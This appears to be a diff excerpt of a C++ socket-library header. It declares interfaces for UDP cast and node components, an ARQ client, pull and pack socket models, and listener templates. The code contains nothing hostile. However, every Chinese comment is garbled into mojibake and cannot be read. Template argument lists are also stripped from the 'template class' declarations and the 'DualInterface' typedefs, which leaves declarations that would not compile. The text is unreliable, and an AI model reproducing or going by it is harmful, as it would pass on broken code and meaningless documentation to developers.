璁剧疆鏁版嵁鎶ユ枃鏈澶ч暱搴︼紙寤鸿鍦ㄥ眬鍩熺綉鐜涓嬩笉瓒呰繃 1432 瀛楄妭锛屽湪骞垮煙缃戠幆澧冧笅涓嶈秴杩 548 瀛楄妭锛 */ + virtual void SetMaxDatagramSize (DWORD dwMaxDatagramSize) = 0; + /* 鑾峰彇鏁版嵁鎶ユ枃鏈澶ч暱搴 */ + virtual DWORD GetMaxDatagramSize() = 0; + + /* 璁剧疆鐩戞祴鍖呭皾璇曟鏁帮紙0 鍒欎笉鍙戦佺洃娴嬭烦鍖咃紝濡傛灉瓒呰繃鏈澶у皾璇曟鏁板垯璁や负宸叉柇绾匡級 */ + virtual void SetDetectAttempts (DWORD dwDetectAttempts) = 0; + /* 璁剧疆鐩戞祴鍖呭彂閫侀棿闅旓紙姣锛0 涓嶅彂閫佺洃娴嬪寘锛 */ + virtual void SetDetectInterval (DWORD dwDetectInterval) = 0; + /* 鑾峰彇蹇冭烦妫鏌ユ鏁 */ + virtual DWORD GetDetectAttempts () = 0; + /* 鑾峰彇蹇冭烦妫鏌ラ棿闅 */ + virtual DWORD GetDetectInterval () = 0; +}; + +/************************************************************************ +鍚嶇О锛歎DP 浼犳挱缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 UDP 浼犳挱锛堢粍鎾垨骞挎挱锛夌粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IUdpCast : public IClient +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏁版嵁鎶ユ枃鏈澶ч暱搴︼紙寤鸿鍦ㄥ眬鍩熺綉鐜涓嬩笉瓒呰繃 1432 瀛楄妭锛屽湪骞垮煙缃戠幆澧冧笅涓嶈秴杩 548 瀛楄妭锛 */ + virtual void SetMaxDatagramSize (DWORD dwMaxDatagramSize) = 0; + /* 鑾峰彇鏁版嵁鎶ユ枃鏈澶ч暱搴 */ + virtual DWORD GetMaxDatagramSize() = 0; + + /* 璁剧疆浼犳挱妯″紡锛堢粍鎾垨骞挎挱锛 */ + virtual void SetCastMode (EnCastMode enCastMode) = 0; + /* 鑾峰彇浼犳挱妯″紡 */ + virtual EnCastMode GetCastMode () = 0; + + /* 璁剧疆缁勬挱鎶ユ枃鐨 TTL锛0 - 255锛 */ + virtual void SetMultiCastTtl (int iMCTtl) = 0; + /* 鑾峰彇缁勬挱鎶ユ枃鐨 TTL */ + virtual int GetMultiCastTtl () = 0; + + /* 璁剧疆鏄惁鍚敤缁勬挱鐜矾锛圱RUE or FALSE锛 */ + virtual void SetMultiCastLoop (BOOL bMCLoop) = 0; + /* 妫娴嬫槸鍚﹀惎鐢ㄧ粍鎾幆璺 */ + virtual BOOL IsMultiCastLoop () = 0; + + /* 鑾峰彇褰撳墠鏁版嵁鎶ョ殑杩滅▼鍦板潃淇℃伅锛堥氬父鍦 OnReceive 浜嬩欢涓皟鐢級 */ + virtual BOOL GetRemoteAddress (TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; +}; + +/************************************************************************ +鍚嶇О锛歎DP 鑺傜偣缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 UDP 鑺傜偣缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IUdpNode +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔ㄩ氫俊缁勪欢 + * 鎻忚堪锛氬惎鍔 UDP 鑺傜偣閫氫俊缁勪欢锛屽惎鍔ㄥ畬鎴愬悗鍙紑濮嬫敹鍙戞暟鎹 + * + * 鍙傛暟锛 lpszBindAddress -- 缁戝畾鍦板潃锛堥粯璁わ細nullptr锛岀粦瀹氫换鎰忓湴鍧锛 + * usPort -- 鏈湴绔彛锛堥粯璁わ細0锛 + * enCastMode -- 浼犳挱妯″紡锛堥粯璁わ細CM_UNICAST锛 + * lpszCastAddress -- 浼犳挱鍦板潃锛堥粯璁わ細nullptr锛屽綋 enCaseMode 涓 CM_MULTICAST 鎴 CM_BROADCAST 鏃舵湁鏁堬級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Start(LPCTSTR lpszBindAddress = nullptr, USHORT usPort = 0, EnCastMode enCastMode = CM_UNICAST, LPCTSTR lpszCastAddress = nullptr) = 0; + + /* + * 鍚嶇О锛氬叧闂氫俊缁勪欢 + * 鎻忚堪锛氬叧闂 UDP 鑺傜偣閫氫俊缁勪欢锛屽叧闂畬鎴愬悗閲婃斁鎵鏈夎祫婧 + * + * 鍙傛暟锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Stop() = 0; + + /* + * 鍚嶇О锛氬彂閫佹暟鎹 + * 鎻忚堪锛氬悜鎸囧畾鍦板潃鍙戦佹暟鎹 + * + * 鍙傛暟锛 lpszRemoteAddress -- 杩滅▼鍦板潃 + * usRemotePort -- 杩滅▼绔彛 + * pBuffer -- 鍙戦佺紦鍐插尯 + * iLength -- 鍙戦佺紦鍐插尯闀垮害 + * iOffset -- 鍙戦佺紦鍐插尯鎸囬拡鍋忕Щ閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Send(LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const BYTE* pBuffer, int iLength, int iOffset = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佸缁勬暟鎹 + * 鎻忚堪锛氬悜鎸囧畾鍦板潃鍙戦佸缁勬暟鎹紝鎶婃墍鏈夋暟鎹寘缁勫悎鎴愪竴涓暟鎹寘鍙戦侊紙鏁版嵁鍖呯殑鎬婚暱搴︿笉鑳藉ぇ浜庤缃殑 UDP 鍖呮渶澶ч暱搴︼級 + * + * 鍙傛暟锛 lpszRemoteAddress -- 杩滅▼鍦板潃 + * usRemotePort -- 杩滅▼绔彛 + * pBuffers -- 鍙戦佺紦鍐插尯鏁扮粍 + * iCount -- 鍙戦佺紦鍐插尯鏁扮洰 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendPackets(LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const WSABUF pBuffers[], int iCount) = 0; + + /* + * 鍚嶇О锛氬彂閫佹暟鎹 + * 鎻忚堪锛氬悜浼犳挱鍦板潃鍙戦佹暟鎹 + * + * 鍙傛暟锛 pBuffer -- 鍙戦佺紦鍐插尯 + * iLength -- 鍙戦佺紦鍐插尯闀垮害 + * iOffset -- 鍙戦佺紦鍐插尯鎸囬拡鍋忕Щ閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendCast(const BYTE* pBuffer, int iLength, int iOffset = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佸缁勬暟鎹 + * 鎻忚堪锛氬悜浼犳挱鍦板潃鍙戦佸缁勬暟鎹紝鎶婃墍鏈夋暟鎹寘缁勫悎鎴愪竴涓暟鎹寘鍙戦侊紙鏁版嵁鍖呯殑鎬婚暱搴︿笉鑳藉ぇ浜庤缃殑 UDP 鍖呮渶澶ч暱搴︼級 + * + * 鍙傛暟锛 pBuffers -- 鍙戦佺紦鍐插尯鏁扮粍 + * iCount -- 鍙戦佺紦鍐插尯鏁扮洰 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendCastPackets(const WSABUF pBuffers[], int iCount) = 0; + + /* + * 鍚嶇О锛氱瓑寰 + * 鎻忚堪锛氱瓑寰呴氫俊缁勪欢鍋滄杩愯 + * + * 鍙傛暟锛 dwMilliseconds -- 瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛-1锛屾案涓嶈秴鏃讹級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Wait(DWORD dwMilliseconds = INFINITE) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆闄勫姞鏁版嵁 */ + virtual void SetExtra (PVOID pExtra) = 0; + + /* 鑾峰彇闄勫姞鏁版嵁 */ + virtual PVOID GetExtra () = 0; + + /* 妫鏌ラ氫俊缁勪欢鏄惁宸插惎鍔 */ + virtual BOOL HasStarted () = 0; + /* 鏌ョ湅閫氫俊缁勪欢褰撳墠鐘舵 */ + virtual EnServiceState GetState () = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒浠g爜 */ + virtual EnSocketError GetLastError () = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒鎻忚堪 */ + virtual LPCTSTR GetLastErrorDesc () = 0; + /* 鑾峰彇鏈妭鐐瑰湴鍧 */ + virtual BOOL GetLocalAddress (TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; + /* 鑾峰彇鏈妭鐐逛紶鎾湴鍧 */ + virtual BOOL GetCastAddress (TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; + /* 鑾峰彇浼犳挱妯″紡 */ + virtual EnCastMode GetCastMode () = 0; + /* 鑾峰彇鏈彂鍑烘暟鎹殑闀垮害 */ + virtual BOOL GetPendingDataLength (int& iPending) = 0; + + /* 璁剧疆鏁版嵁鎶ユ枃鏈澶ч暱搴︼紙寤鸿鍦ㄥ眬鍩熺綉鐜涓嬩笉瓒呰繃 1432 瀛楄妭锛屽湪骞垮煙缃戠幆澧冧笅涓嶈秴杩 548 瀛楄妭锛 */ + virtual void SetMaxDatagramSize (DWORD dwMaxDatagramSize) = 0; + /* 鑾峰彇鏁版嵁鎶ユ枃鏈澶ч暱搴 */ + virtual DWORD GetMaxDatagramSize() = 0; + + /* 璁剧疆缁勬挱鎶ユ枃鐨 TTL锛0 - 255锛 */ + virtual void SetMultiCastTtl (int iMCTtl) = 0; + /* 鑾峰彇缁勬挱鎶ユ枃鐨 TTL */ + virtual int GetMultiCastTtl () = 0; + + /* 璁剧疆鏄惁鍚敤缁勬挱鐜矾锛圱RUE or FALSE锛 */ + virtual void SetMultiCastLoop (BOOL bMCLoop) = 0; + /* 妫娴嬫槸鍚﹀惎鐢ㄧ粍鎾幆璺 */ + virtual BOOL IsMultiCastLoop () = 0; + + /* 璁剧疆鍦板潃閲嶇敤閫夐」 */ + virtual void SetReuseAddressPolicy(EnReuseAddressPolicy enReusePolicy) = 0; + /* 璁剧疆宸ヤ綔绾跨▼鏁伴噺锛堥氬父璁剧疆涓 2 * CPU + 2锛 */ + virtual void SetWorkerThreadCount (DWORD dwWorkerThreadCount) = 0; + /* 璁剧疆 Receive 棰勬姇閫掓暟閲忥紙鏍规嵁璐熻浇璋冩暣璁剧疆锛孯eceive 棰勬姇閫掓暟閲忚秺澶у垯涓㈠寘姒傜巼瓒婂皬锛 */ + virtual void SetPostReceiveCount (DWORD dwPostReceiveCount) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜澶у皬 */ + virtual void SetFreeBufferPoolSize (DWORD dwFreeBufferPoolSize) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual void SetFreeBufferPoolHold (DWORD dwFreeBufferPoolHold) = 0; + + /* 鑾峰彇鍦板潃閲嶇敤閫夐」 */ + virtual EnReuseAddressPolicy GetReuseAddressPolicy() = 0; + /* 鑾峰彇宸ヤ綔绾跨▼鏁伴噺 */ + virtual DWORD GetWorkerThreadCount () = 0; + /* 鑾峰彇 Receive 棰勬姇閫掓暟閲 */ + virtual DWORD GetPostReceiveCount () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜澶у皬 */ + virtual DWORD GetFreeBufferPoolSize () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual DWORD GetFreeBufferPoolHold () = 0; + +public: + virtual ~IUdpNode() {} +}; + +/************************************************************************ +鍚嶇О锛欳lient ARQ 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Client 缁勪欢鐨 ARQ 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IArqClient +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏄惁寮鍚 nodelay 妯″紡锛堥粯璁わ細FALSE锛屼笉寮鍚級 */ + virtual void SetNoDelay (BOOL bNoDelay) = 0; + /* 璁剧疆鏄惁鍏抽棴鎷ュ鎺у埗锛堥粯璁わ細FALSE锛屼笉鍏抽棴锛 */ + virtual void SetTurnoffCongestCtrl (BOOL bTurnOff) = 0; + /* 璁剧疆鏁版嵁鍒锋柊闂撮殧锛堟绉掞紝榛樿锛60锛 */ + virtual void SetFlushInterval (DWORD dwFlushInterval) = 0; + /* 璁剧疆蹇熼噸浼 ACK 璺ㄨ秺娆℃暟锛堥粯璁わ細0锛屽叧闂揩閫熼噸浼狅級 */ + virtual void SetResendByAcks (DWORD dwResendByAcks) = 0; + /* 璁剧疆鍙戦佺獥鍙eぇ灏忥紙鏁版嵁鍖呮暟閲忥紝榛樿锛128锛 */ + virtual void SetSendWndSize (DWORD dwSendWndSize) = 0; + /* 璁剧疆鎺ユ敹绐楀彛澶у皬锛堟暟鎹寘鏁伴噺锛岄粯璁わ細512锛 */ + virtual void SetRecvWndSize (DWORD dwRecvWndSize) = 0; + /* 璁剧疆鏈灏忛噸浼犺秴鏃舵椂闂达紙姣锛岄粯璁わ細30锛 */ + virtual void SetMinRto (DWORD dwMinRto) = 0; + /* 璁剧疆蹇熸彙鎵嬫鏁伴檺鍒讹紙榛樿锛5锛屽鏋滀负 0 鍒欎笉闄愬埗锛 */ + virtual void SetFastLimit (DWORD dwFastLimit) = 0; + /* 璁剧疆鏈澶т紶杈撳崟鍏冿紙榛樿锛0锛屼笌 SetMaxDatagramSize() 涓鑷达級 */ + virtual void SetMaxTransUnit (DWORD dwMaxTransUnit) = 0; + /* 璁剧疆鏈澶ф暟鎹寘澶у皬锛堥粯璁わ細4096锛 */ + virtual void SetMaxMessageSize (DWORD dwMaxMessageSize) = 0; + /* 璁剧疆鎻℃墜瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛5000锛 */ + virtual void SetHandShakeTimeout (DWORD dwHandShakeTimeout) = 0; + + /* 妫娴嬫槸鍚﹀紑鍚 nodelay 妯″紡 */ + virtual BOOL IsNoDelay () = 0; + /* 妫娴嬫槸鍚﹀叧闂嫢濉炴帶鍒 */ + virtual BOOL IsTurnoffCongestCtrl () = 0; + /* 鑾峰彇鏁版嵁鍒锋柊闂撮殧 */ + virtual DWORD GetFlushInterval () = 0; + /* 鑾峰彇蹇熼噸浼 ACK 璺ㄨ秺娆℃暟 */ + virtual DWORD GetResendByAcks () = 0; + /* 鑾峰彇鍙戦佺獥鍙eぇ灏 */ + virtual DWORD GetSendWndSize () = 0; + /* 鑾峰彇鎺ユ敹绐楀彛澶у皬 */ + virtual DWORD GetRecvWndSize () = 0; + /* 鑾峰彇鏈灏忛噸浼犺秴鏃舵椂闂 */ + virtual DWORD GetMinRto () = 0; + /* 鑾峰彇蹇熸彙鎵嬫鏁伴檺鍒 */ + virtual DWORD GetFastLimit () = 0; + /* 鑾峰彇鏈澶т紶杈撳崟鍏 */ + virtual DWORD GetMaxTransUnit () = 0; + /* 鑾峰彇鏈澶ф暟鎹寘澶у皬 */ + virtual DWORD GetMaxMessageSize () = 0; + /* 鑾峰彇鎻℃墜瓒呮椂鏃堕棿 */ + virtual DWORD GetHandShakeTimeout () = 0; + + /* 鑾峰彇绛夊緟鍙戦佸寘鏁伴噺 */ + virtual BOOL GetWaitingSendMessageCount (int& iCount) = 0; + +public: + virtual ~IArqClient() {} +}; + +/************************************************************************ +鍚嶇О锛歎DP ARQ 閫氫俊瀹㈡埛绔粍浠舵帴鍙 +鎻忚堪锛氱户鎵夸簡 ARQ 鍜 Client 鎺ュ彛 +************************************************************************/ +typedef DualInterface IUdpArqClient; + +#endif + +/************************************************************************ +鍚嶇О锛歋erver/Agent PULL 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Server/Agent 缁勪欢鐨 PULL 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IPullSocket +{ +public: + + /* + * 鍚嶇О锛氭姄鍙栨暟鎹 + * 鎻忚堪锛氱敤鎴烽氳繃璇ユ柟娉曚粠 Socket 缁勪欢涓姄鍙栨暟鎹 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pData -- 鎶撳彇缂撳啿鍖 + * iLength -- 鎶撳彇鏁版嵁闀垮害 + * 杩斿洖鍊硷細 EnFetchResult + */ + virtual EnFetchResult Fetch (CONNID dwConnID, BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氱鎺㈡暟鎹紙涓嶄細绉婚櫎缂撳啿鍖烘暟鎹級 + * 鎻忚堪锛氱敤鎴烽氳繃璇ユ柟娉曚粠 Socket 缁勪欢涓鎺㈡暟鎹 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pData -- 绐ユ帰缂撳啿鍖 + * iLength -- 绐ユ帰鏁版嵁闀垮害 + * 杩斿洖鍊硷細 EnFetchResult + */ + virtual EnFetchResult Peek (CONNID dwConnID, BYTE* pData, int iLength) = 0; + +public: + virtual ~IPullSocket() {} +}; + +/************************************************************************ +鍚嶇О锛欳lient PULL 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Client 缁勪欢鐨 PULL 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IPullClient +{ +public: + + /* + * 鍚嶇О锛氭姄鍙栨暟鎹 + * 鎻忚堪锛氱敤鎴烽氳繃璇ユ柟娉曚粠 Socket 缁勪欢涓姄鍙栨暟鎹 + * + * 鍙傛暟锛 pData -- 鎶撳彇缂撳啿鍖 + * iLength -- 鎶撳彇鏁版嵁闀垮害 + * 杩斿洖鍊硷細 EnFetchResult + */ + virtual EnFetchResult Fetch (BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氱鎺㈡暟鎹紙涓嶄細绉婚櫎缂撳啿鍖烘暟鎹級 + * 鎻忚堪锛氱敤鎴烽氳繃璇ユ柟娉曚粠 Socket 缁勪欢涓鎺㈡暟鎹 + * + * 鍙傛暟锛 pData -- 绐ユ帰缂撳啿鍖 + * iLength -- 绐ユ帰鏁版嵁闀垮害 + * 杩斿洖鍊硷細 EnFetchResult + */ + virtual EnFetchResult Peek (BYTE* pData, int iLength) = 0; + +public: + virtual ~IPullClient() {} +}; + +/************************************************************************ +鍚嶇О锛歍CP PULL 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氱户鎵夸簡 PULL 鍜 Socket 鎺ュ彛 +************************************************************************/ +typedef DualInterface ITcpPullServer; +typedef DualInterface ITcpPullAgent; +typedef DualInterface ITcpPullClient; + +/************************************************************************ +鍚嶇О锛歋erver/Agent PACK 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Server/Agent 缁勪欢鐨 PACK 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IPackSocket +{ +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏁版嵁鍖呮渶澶ч暱搴︼紙鏈夋晥鏁版嵁鍖呮渶澶ч暱搴︿笉鑳借秴杩 4194303/0x3FFFFF 瀛楄妭锛岄粯璁わ細262144/0x40000锛 */ + virtual void SetMaxPackSize (DWORD dwMaxPackSize) = 0; + /* 璁剧疆鍖呭ご鏍囪瘑锛堟湁鏁堝寘澶存爣璇嗗彇鍊艰寖鍥 0 ~ 1023/0x3FF锛屽綋鍖呭ご鏍囪瘑涓 0 鏃朵笉鏍¢獙鍖呭ご锛岄粯璁わ細0锛 */ + virtual void SetPackHeaderFlag (USHORT usPackHeaderFlag) = 0; + + /* 鑾峰彇鏁版嵁鍖呮渶澶ч暱搴 */ + virtual DWORD GetMaxPackSize () = 0; + /* 鑾峰彇鍖呭ご鏍囪瘑 */ + virtual USHORT GetPackHeaderFlag() = 0; + +public: + virtual ~IPackSocket() {} +}; + +/************************************************************************ +鍚嶇О锛欳lient PACK 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Client 缁勪欢鐨 PACK 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IPackClient +{ +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏁版嵁鍖呮渶澶ч暱搴︼紙鏈夋晥鏁版嵁鍖呮渶澶ч暱搴︿笉鑳借秴杩 4194303/0x3FFFFF 瀛楄妭锛岄粯璁わ細262144/0x40000锛 */ + virtual void SetMaxPackSize (DWORD dwMaxPackSize) = 0; + /* 璁剧疆鍖呭ご鏍囪瘑锛堟湁鏁堝寘澶存爣璇嗗彇鍊艰寖鍥 0 ~ 1023/0x3FF锛屽綋鍖呭ご鏍囪瘑涓 0 鏃朵笉鏍¢獙鍖呭ご锛岄粯璁わ細0锛 */ + virtual void SetPackHeaderFlag (USHORT usPackHeaderFlag) = 0; + + /* 鑾峰彇鏁版嵁鍖呮渶澶ч暱搴 */ + virtual DWORD GetMaxPackSize () = 0; + /* 鑾峰彇鍖呭ご鏍囪瘑 */ + virtual USHORT GetPackHeaderFlag() = 0; + +public: + virtual ~IPackClient() {} +}; + +/************************************************************************ +鍚嶇О锛歍CP PACK 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氱户鎵夸簡 PACK 鍜 Socket 鎺ュ彛 +************************************************************************/ +typedef DualInterface ITcpPackServer; +typedef DualInterface ITcpPackAgent; +typedef DualInterface ITcpPackClient; + +/************************************************************************ +鍚嶇О锛歋ocket 鐩戝惉鍣ㄥ熀鎺ュ彛 +鎻忚堪锛氬畾涔夌粍浠剁洃鍚櫒鐨勫叕鍏辨柟娉 +************************************************************************/ +template class ISocketListenerT +{ +public: + + /* + * 鍚嶇О锛氭彙鎵嬪畬鎴愰氱煡 + * 鎻忚堪锛氳繛鎺ュ畬鎴愭彙鎵嬫椂锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鎺ユ敹鍒拌閫氱煡鍚庢墠鑳藉紑濮 + * 鏁版嵁鏀跺彂鎿嶄綔 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnHandShake(T* pSender, CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛氬凡鍙戦佹暟鎹氱煡 + * 鎻忚堪锛氭垚鍔熷彂閫佹暟鎹悗锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * pData -- 宸插彂閫佹暟鎹紦鍐插尯 + * iLength -- 宸插彂閫佹暟鎹暱搴 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 璇ラ氱煡涓嶅厑璁歌繑鍥 HR_ERROR锛堣皟璇曟ā寮忎笅寮曞彂鏂█閿欒锛 + */ + virtual EnHandleResult OnSend(T* pSender, CONNID dwConnID, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氭暟鎹埌杈鹃氱煡锛圥USH 妯″瀷锛 + * 鎻忚堪锛氬浜 PUSH 妯″瀷鐨 Socket 閫氫俊缁勪欢锛屾垚鍔熸帴鏀舵暟鎹悗灏嗗悜 Socket 鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * pData -- 宸叉帴鏀舵暟鎹紦鍐插尯 + * iLength -- 宸叉帴鏀舵暟鎹暱搴 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnReceive(T* pSender, CONNID dwConnID, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氭暟鎹埌杈鹃氱煡锛圥ULL 妯″瀷锛 + * 鎻忚堪锛氬浜 PULL 妯″瀷鐨 Socket 閫氫俊缁勪欢锛屾垚鍔熸帴鏀舵暟鎹悗灏嗗悜 Socket 鐩戝惉鍣ㄥ彂閫佽閫氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * iLength -- 宸叉帴鏀舵暟鎹暱搴 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 寮曞彂 OnClose() 浜嬩欢骞跺叧闂繛鎺 + */ + virtual EnHandleResult OnReceive(T* pSender, CONNID dwConnID, int iLength) = 0; + + /* + * 鍚嶇О锛氶氫俊閿欒閫氱煡 + * 鎻忚堪锛氶氫俊鍙戠敓閿欒鍚庯紝Socket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡锛屽苟鍏抽棴杩炴帴 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * enOperation -- Socket 鎿嶄綔绫诲瀷 + * iErrorCode -- 閿欒浠g爜 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnClose(T* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode) = 0; + +public: + virtual ~ISocketListenerT() {} +}; + +template class IComplexSocketListenerT : public ISocketListenerT +{ +public: + + /* + * 鍚嶇О锛氬叧闂氫俊缁勪欢閫氱煡 + * 鎻忚堪锛氶氫俊缁勪欢鍏抽棴鏃讹紝Socket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnShutdown(T* pSender) = 0; + +}; + +/************************************************************************ +鍚嶇О锛氭湇鍔$ Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔夋湇鍔$ Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +template class IServerListenerT : public IComplexSocketListenerT +{ +public: + + /* + * 鍚嶇О锛氬噯澶囩洃鍚氱煡 + * 鎻忚堪锛氶氫俊鏈嶅姟绔粍浠跺惎鍔ㄦ椂锛屽湪鐩戝惉 Socket 鍒涘缓瀹屾垚骞跺紑濮嬫墽琛岀洃鍚墠锛孲ocket 鐩戝惉 + * 鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛 Socket 閫夐」璁剧疆绛夐澶栧伐浣 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * soListen -- 鐩戝惉 Socket + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 缁堟鍚姩閫氫俊鏈嶅姟缁勪欢 + */ + virtual EnHandleResult OnPrepareListen(T* pSender, SOCKET soListen) = 0; + + /* + * 鍚嶇О锛氭帴鏀惰繛鎺ラ氱煡 + * 鎻忚堪锛氭帴鏀跺埌瀹㈡埛绔繛鎺ヨ姹傛椂锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂 + * 娉曚腑鎵ц Socket 閫夐」璁剧疆鎴栨嫆缁濆鎴风杩炴帴绛夐澶栧伐浣 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * soClient -- TCP: 瀹㈡埛绔 Socket 鍙ユ焺锛孶DP: 瀹㈡埛绔 Socket SOCKADDR 鎸囬拡 + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 鎺ュ彈杩炴帴 + * HR_ERROR -- 鎷掔粷杩炴帴 + */ + virtual EnHandleResult OnAccept(T* pSender, CONNID dwConnID, UINT_PTR soClient) = 0; +}; + +/************************************************************************ +鍚嶇О锛歍CP 鏈嶅姟绔 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 TCP 鏈嶅姟绔 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ 